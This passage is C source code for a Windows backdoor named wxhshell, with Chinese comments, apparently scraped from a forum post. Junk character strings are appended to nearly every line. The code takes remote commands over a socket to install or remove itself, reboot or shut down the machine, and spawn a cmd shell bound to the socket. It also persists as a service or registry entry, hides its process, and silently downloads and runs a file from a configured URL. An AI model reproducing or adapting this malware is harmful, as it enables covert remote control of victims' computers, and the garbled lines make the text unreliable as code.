  case 'i': { 2LTMt?  
    if(Install()) L%CBz]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <b,oF]+;z  
    else =-m"y~{>3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &*JU N}86  
    break; <y4WG  
    } o?O> pK  
  // 卸载 #3_t}<fX  
  case 'r': { T!yI+<  
    if(Uninstall()) r-s9]0"7~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [gybdI5wur  
    else (Ev=kO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '| 6ZPv&N  
    break; <Rb[0E$  
    } &<>NP?j}  
  // 显示 wxhshell 所在路径 XZ&cTjNB&  
  case 'p': { (X3}&aLF  
    char svExeFile[MAX_PATH]; 9 \lSN5W  
    strcpy(svExeFile,"\n\r"); ? koIZ  
      strcat(svExeFile,ExeFile); k0(_0o  
        send(wsh,svExeFile,strlen(svExeFile),0); ;_oJGII?br  
    break; i>aIuQ`pe  
    } 5{Oq* |  
  // 重启 wR%F>[ 6.{  
  case 'b': { DCheG7lo{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s$wIL//=  
    if(Boot(REBOOT)) ;]PP +h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v(`9+*  
    else { 1Uaj}= @M  
    closesocket(wsh); 5@-[[ $dk  
    ExitThread(0); sq45fRAi  
    } !K%8tr4   
    break; S11ME  
    }  v[+ ]  
  // 关机  {S$61ut  
  case 'd': { np6R\Q!&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q{:=z6&  
    if(Boot(SHUTDOWN)) U(rY,4'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UID0|+%Y  
    else { gtwUY$  
    closesocket(wsh); {y%cTuC=  
    ExitThread(0); '5r\o8RjN  
    } 3Jh!YzI8  
    break; l8~s#:v6X  
    } %E k!3t  
  // 获取shell Ef]<0Tm]:  
  case 's': { 4Nl3"@<$  
    CmdShell(wsh); "sUjJ|  
    closesocket(wsh); *Tum(wWZ  
    ExitThread(0); Iy#=Nq=  
    break; 5XzN%<_h9  
  } d2U+%%Tdw  
  // 退出 nXT/zfS  
  case 'x': { Fxx -2(U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PY76;D*`  
    CloseIt(wsh); pdySip<  
    break; tu:W1?  
    } 4G3u8)b=  
  // 离开 $}8@?>-w  
  case 'q': { BA6(Owb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%4N4| Q  
    closesocket(wsh); wec_=E qK0  
    WSACleanup(); rX}FhBl5  
    exit(1); vs%d}]v  
    break; '',g}WvRwe  
        } {XEX0|TZ  
  } Q.MbzSgXL  
  } sP~;i qk  
Pq(7lua7  
  // 提示信息 3%(,f,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]R*h3U@5#K  
} Y.b?.)u&  
  } jYk5]2#A  
WYm<_1  
  return; {l9gYA  
} r7jh)Q;BbR  
P}=U #AV4  
// shell模块句柄 ' >k1h.i  
int CmdShell(SOCKET sock) yXT.]%)  
{ +.-g`Vyz*  
STARTUPINFO si; cb5T-'hY  
ZeroMemory(&si,sizeof(si)); -x VZm8y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tNG[|Bi#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BIXbdo5F  
PROCESS_INFORMATION ProcessInfo; O<P(UT"  
char cmdline[]="cmd"; VVw5)O1'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^O QeOTF  
  return 0; 0WSOA[R%[b  
} "9X1T]  
|)y-EBZe\"  
// 自身启动模式 Y~k,AJ{ ^  
int StartFromService(void) &)izh) FA  
{ _%wB*u,X  
typedef struct `O]$FpO  
{ <<PXh&wu0  
  DWORD ExitStatus; S1o[)q   
  DWORD PebBaseAddress; }z F,dst  
  DWORD AffinityMask; 0[f[6mm%m  
  DWORD BasePriority; :?j]W2+kR  
  ULONG UniqueProcessId; Jb6)U]  
  ULONG InheritedFromUniqueProcessId; wv  
}   PROCESS_BASIC_INFORMATION; 1T}jK^"  
e^k)756  
PROCNTQSIP NtQueryInformationProcess; |pZ:5ta#  
ny}_^3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :7?n)=Tx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H5(: 1  
](^FGz  
  HANDLE             hProcess; zm mkmTp  
  PROCESS_BASIC_INFORMATION pbi; }ag;yf;  
Gc_KS'K@$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uN=f( -"  
  if(NULL == hInst ) return 0; VA @  
aUi^7;R&<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k'NP+N<M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `$MO;Fv,G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uT>"(wnJ|  
jN!VrRA  
  if (!NtQueryInformationProcess) return 0; j dkqJ4&i  
%6la@i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E BSjU8  
  if(!hProcess) return 0; nG%<n  
)4RSo&9p`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p2 !w86 F  
>*EJ6FPO  
  CloseHandle(hProcess); $ I J^  
X!6$<8+1OV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); deEc;IAo  
if(hProcess==NULL) return 0; b!qlucA eE  
6OR)97  
HMODULE hMod; akG|ic-~  
char procName[255]; n}C0gt-  
unsigned long cbNeeded;  i (`Q{l  
IEe;ygL#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MaLH2?je^n  
'Hsd7Dpi}  
  CloseHandle(hProcess); n5y0$S/ D  
y+ 4#Iy  
if(strstr(procName,"services")) return 1; // 以服务启动 K j~!E H"  
}l&y8,[:  
  return 0; // 注册表启动 >D Ai-`e  
} ]GDjR'[z  
s@p:XO  
// 主模块 {I/t3.R`  
int StartWxhshell(LPSTR lpCmdLine) Rm}G4Pq  
{ [Wxf,rW i  
  SOCKET wsl; U#%+FLX@w  
BOOL val=TRUE; r::0\{{r"p  
  int port=0; I%{ 1K+V/  
  struct sockaddr_in door; LfJMSscfv  
S0ReT*I  
  if(wscfg.ws_autoins) Install(); OVE?;x>n/1  
= toU?:.  
port=atoi(lpCmdLine); 2J (nJT"  
8Y_lQfJa  
if(port<=0) port=wscfg.ws_port; ts; ^,|h  
]TN/n%\  
  WSADATA data; /4}y2JVv)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cUO$IR)yL  
\}AJ)v*<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $wbIe"|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y,K> Wb9e  
  door.sin_family = AF_INET; FD5OO;$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >3}N;  
  door.sin_port = htons(port); /]of @  
^a$L9p(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8tO.o\)h  
closesocket(wsl); q{+}0!o  
return 1; TPLv]$n  
} O)"Z%B  
lYey7tl{  
  if(listen(wsl,2) == INVALID_SOCKET) { DPCQqV|7  
closesocket(wsl); 4%4Yqx )  
return 1; 4y!GFhMh  
} rxj#  
  Wxhshell(wsl); `XM0Mm%  
  WSACleanup(); >Bu _NoM  
|v<4=/.  
return 0; 7X>*B~(R  
DcG=u24Xy!  
} ZZ/k7(8  
Y~w1_>b  
// 以NT服务方式启动 :  @$5M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $LG.rJ/*  
{ N,.awA{  
DWORD   status = 0; .HRd6O;  
  DWORD   specificError = 0xfffffff; iBmvy 7S?  
8"A0@fNz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9i D&y)$"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v^;vH$B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pD }b$  
  serviceStatus.dwWin32ExitCode     = 0; TmK8z  
  serviceStatus.dwServiceSpecificExitCode = 0; ~qX wQ@  
  serviceStatus.dwCheckPoint       = 0; )\7Cp-E-W  
  serviceStatus.dwWaitHint       = 0; h,6> ^A  
SwaMpNXL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); phB d+zQc  
  if (hServiceStatusHandle==0) return; m_FTg)_=  
7PwH&rI  
status = GetLastError(); Ocz21gl-?`  
  if (status!=NO_ERROR) *_]fe&s=%  
{ $.31<@T7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )<Mo.  
    serviceStatus.dwCheckPoint       = 0; r%>EiHpCU  
    serviceStatus.dwWaitHint       = 0; vu&ny&=`  
    serviceStatus.dwWin32ExitCode     = status; [^XD @  
    serviceStatus.dwServiceSpecificExitCode = specificError; c` N_MP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G_5w5dbG  
    return; +{}p(9w@  
  } [&l+Ve(  
4q(,uk&R[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @Y<fj^]k  
  serviceStatus.dwCheckPoint       = 0; .-[]po  
  serviceStatus.dwWaitHint       = 0; 1#8~@CQ ::  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Z1-B60P  
} %d<UMbS^  
LR'~:46#u  
// 处理NT服务事件,比如:启动、停止 *}_i[6_\E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WI.+9$1:P  
{ %IDl+_j  
switch(fdwControl) (`u+(M!^  
{ .4[M-@4+]  
case SERVICE_CONTROL_STOP: /||8j.Tm  
  serviceStatus.dwWin32ExitCode = 0; = )4bf"~8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8#9OSupp  
  serviceStatus.dwCheckPoint   = 0; Cv/3-&5S  
  serviceStatus.dwWaitHint     = 0; ;Wsl 'e/  
  { ]\]mwvLT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ymT]ow6C  
  } prB:E[1  
  return; 8#4Gs Q"  
case SERVICE_CONTROL_PAUSE: [?(qhp!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #a'CoJs   
  break;  v&7x ~!O  
case SERVICE_CONTROL_CONTINUE: _d+` Gw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9>ZX@1]m_  
  break; vV*/"'>  
case SERVICE_CONTROL_INTERROGATE: JeAyT48!M  
  break; : qV|rih_Q  
}; 7|Iq4@IT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.-2 /'i  
} )}vUYTU1  
tf1Y5P$  
// 标准应用程序主函数 Mko,((>I1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?%/*F<UVQ  
{ zy~*~;6tW  
^K 9jJS9K  
// 获取操作系统版本 iR8;^C.aT  
OsIsNt=GetOsVer(); Vg mYm~y'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); buWF6LFC  
xsrdHP1  
  // 从命令行安装 2uMSeSx$  
  if(strpbrk(lpCmdLine,"iI")) Install(); :U]Pm:ivTU  
|HPb$#i  
  // 下载执行文件 'b+ Tio  
if(wscfg.ws_downexe) { `8TL*.9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E~8J<g E  
  WinExec(wscfg.ws_filenam,SW_HIDE); z5sKV7&\[n  
} -qLNs_ _k  
%6Y}0>gY  
if(!OsIsNt) { Ie8SPNY-H  
// 如果时win9x,隐藏进程并且设置为注册表启动 q~X}&}UT  
HideProc(); 1KJ[&jS ]  
StartWxhshell(lpCmdLine); G {a;s-OA3  
} Yi19VU|/  
else G B>T3l"  
  if(StartFromService()) "IWL& cH3  
  // 以服务方式启动 k\ZU%"^J  
  StartServiceCtrlDispatcher(DispatchTable); $]?M[sL\N7  
else 9'KOc5@l^  
  // 普通方式启动 H{_6e6`e.  
  StartWxhshell(lpCmdLine); fvG4K(  
L_!}R  
return 0; 6U]r3 Rr  
}
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只看该作者 1 发表于: 2006-10-10
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